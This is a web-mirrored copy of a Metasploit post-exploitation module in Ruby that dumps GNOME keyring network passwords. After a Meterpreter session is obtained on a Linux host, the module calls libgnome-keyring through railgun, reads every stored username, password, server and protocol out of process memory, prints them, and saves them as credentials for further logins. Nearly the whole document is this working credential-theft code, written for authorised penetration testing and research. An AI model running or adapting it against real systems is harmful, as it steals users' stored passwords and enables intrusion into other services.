CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/gnome_keyring_dump.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'bindata'
7
8
class MetasploitModule < Msf::Post
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Gnome-Keyring Dump',
15
'Description' => %q{
16
Use libgnome-keyring to extract network passwords for the current user.
17
This module does not require root privileges to run.
18
},
19
'Author' => 'Spencer McIntyre',
20
'License' => MSF_LICENSE,
21
'Platform' => [ 'linux' ],
22
'SessionTypes' => [ 'meterpreter' ],
23
'Compat' => {
24
'Meterpreter' => {
25
'Commands' => %w[
26
core_native_arch
27
stdapi_net_resolve_host
28
stdapi_railgun_api
29
stdapi_railgun_memread
30
]
31
}
32
}
33
)
34
)
35
end
36
37
class GList_x64 < BinData::Record
38
endian :little
39
uint64 :data_ptr
40
uint64 :next_ptr
41
uint64 :prev_ptr
42
end
43
44
class GList_x86 < BinData::Record
45
endian :little
46
uint32 :data_ptr
47
uint32 :next_ptr
48
uint32 :prev_ptr
49
end
50
51
# https://developer.gnome.org/glib/unstable/glib-Doubly-Linked-Lists.html#GList
52
def struct_glist
53
session.native_arch == ARCH_X64 ? GList_x64 : GList_x86
54
end
55
56
class GnomeKeyringNetworkPasswordData_x64 < BinData::Record
57
endian :little
58
uint64 :keyring
59
uint64 :item_id
60
uint64 :protocol
61
uint64 :server
62
uint64 :object
63
uint64 :authtype
64
uint64 :port
65
uint64 :user
66
uint64 :domain
67
uint64 :password
68
end
69
70
class GnomeKeyringNetworkPasswordData_x86 < BinData::Record
71
endian :little
72
uint32 :keyring
73
uint32 :item_id
74
uint32 :protocol
75
uint32 :server
76
uint32 :object
77
uint32 :authtype
78
uint32 :port
79
uint32 :user
80
uint32 :domain
81
uint32 :password
82
end
83
84
# https://developer.gnome.org/gnome-keyring/stable/gnome-keyring-Network-Passwords.html#GnomeKeyringNetworkPasswordData
85
def struct_gnomekeyringnetworkpassworddata
86
session.native_arch == ARCH_X64 ? GnomeKeyringNetworkPasswordData_x64 : GnomeKeyringNetworkPasswordData_x86
87
end
88
89
def init_railgun_defs
90
unless session.railgun.libraries.key?('libgnome_keyring')
91
session.railgun.add_library('libgnome_keyring', 'libgnome-keyring.so.0')
92
end
93
session.railgun.add_function(
94
'libgnome_keyring',
95
'gnome_keyring_is_available',
96
'BOOL',
97
[],
98
nil,
99
'cdecl'
100
)
101
session.railgun.add_function(
102
'libgnome_keyring',
103
'gnome_keyring_find_network_password_sync',
104
'DWORD',
105
[
106
['PCHAR', 'user', 'in'],
107
['PCHAR', 'domain', 'in'],
108
['PCHAR', 'server', 'in'],
109
['PCHAR', 'object', 'in'],
110
['PCHAR', 'protocol', 'in'],
111
['PCHAR', 'authtype', 'in'],
112
['DWORD', 'port', 'in'],
113
['PBLOB', 'results', 'out']
114
],
115
nil,
116
'cdecl'
117
)
118
session.railgun.add_function(
119
'libgnome_keyring',
120
'gnome_keyring_network_password_list_free',
121
'VOID',
122
[['LPVOID', 'list', 'in']],
123
nil,
124
'cdecl'
125
)
126
end
127
128
def get_string(address, chunk_size = 64, max_size = 256)
129
data = ''
130
loop do
131
data << session.railgun.memread(address + data.length, chunk_size)
132
break if data.include?("\x00") || (data.length >= max_size)
133
end
134
135
if data.include?("\x00")
136
idx = data.index("\x00")
137
data = data[0...idx]
138
end
139
140
data[0...max_size]
141
end
142
143
def get_struct(address, record)
144
record = record.new
145
record.read(session.railgun.memread(address, record.num_bytes))
146
Hash[record.field_names.map { |field| [field, record[field]] }]
147
end
148
149
def get_list_entry(address)
150
glist_struct = get_struct(address, struct_glist)
151
glist_struct[:data] = get_struct(glist_struct[:data_ptr], struct_gnomekeyringnetworkpassworddata)
152
glist_struct
153
end
154
155
def report_cred(opts)
156
service_data = {
157
address: opts[:ip],
158
port: opts[:port],
159
service_name: opts[:service_name],
160
protocol: opts[:protocol],
161
workspace_id: myworkspace_id
162
}
163
164
credential_data = {
165
post_reference_name: refname,
166
session_id: session_db_id,
167
origin_type: :session,
168
private_data: opts[:password],
169
private_type: :password,
170
username: opts[:username]
171
}.merge(service_data)
172
173
login_data = {
174
core: create_credential(credential_data),
175
status: Metasploit::Model::Login::Status::UNTRIED
176
}.merge(service_data)
177
178
create_credential_login(login_data)
179
end
180
181
def resolve_host(name)
182
address = @hostname_cache[name]
183
return address unless address.nil?
184
185
vprint_status("Resolving hostname: #{name}")
186
begin
187
address = session.net.resolve.resolve_host(name)[:ip]
188
rescue Rex::Post::Meterpreter::RequestError
189
end
190
@hostname_cache[name] = address
191
end
192
193
def resolve_port(service)
194
port = {
195
'ftp' => 21,
196
'http' => 80,
197
'https' => 443,
198
'sftp' => 22,
199
'ssh' => 22,
200
'smb' => 445
201
}[service]
202
port.nil? ? 0 : port
203
end
204
205
def run
206
init_railgun_defs
207
@hostname_cache = {}
208
libgnome_keyring = session.railgun.libgnome_keyring
209
210
unless libgnome_keyring.gnome_keyring_is_available['return']
211
fail_with(Failure::NoTarget, 'libgnome-keyring is unavailable')
212
end
213
214
result = libgnome_keyring.gnome_keyring_find_network_password_sync(
215
nil, # user
216
nil, # domain
217
nil, # server
218
nil, # object
219
nil, # protocol
220
nil, # authtype
221
0, # port
222
session.native_arch == ARCH_X64 ? 8 : 4
223
)
224
225
list_anchor = result['results'].unpack(session.native_arch == ARCH_X64 ? 'Q' : 'L')[0]
226
fail_with(Failure::NoTarget, 'Did not receive a list of passwords') if list_anchor == 0
227
228
entry = { next_ptr: list_anchor }
229
loop do
230
entry = get_list_entry(entry[:next_ptr])
231
pw_data = entry[:data]
232
# resolve necessary string fields to non-empty strings or nil
233
%i[server user domain password protocol].each do |field|
234
value = pw_data[field]
235
pw_data[field] = nil
236
next if value == 0
237
238
value = get_string(value)
239
next if value.empty?
240
241
pw_data[field] = value
242
end
243
244
# skip the entry if we don't at least have a username and password
245
next if pw_data[:user].nil? || pw_data[:password].nil?
246
247
printable = ''
248
printable << "#{pw_data[:protocol]}://" unless pw_data[:protocol].nil?
249
printable << "#{pw_data[:domain]}\\" unless pw_data[:domain].nil?
250
printable << "#{pw_data[:user]}:#{pw_data[:password]}"
251
unless pw_data[:server].nil?
252
printable << "@#{pw_data[:server]}"
253
printable << ":#{pw_data[:port]}"
254
end
255
print_good(printable)
256
257
pw_data[:port] = resolve_port(pw_data[:protocol]) if (pw_data[:port] == 0) && !pw_data[:protocol].nil?
258
next if pw_data[:port] == 0 # can't report without a valid port
259
260
ip_address = resolve_host(pw_data[:server])
261
next if ip_address.nil? # can't report without an ip address
262
263
report_cred(
264
ip: ip_address,
265
port: pw_data[:port],
266
protocol: 'tcp',
267
service_name: pw_data[:protocol],
268
username: pw_data[:user],
269
password: pw_data[:password]
270
)
271
break unless (entry[:next_ptr] != list_anchor) && (entry[:next_ptr] != 0)
272
end
273
274
libgnome_keyring.gnome_keyring_network_password_list_free(list_anchor)
275
end
276
end
277
278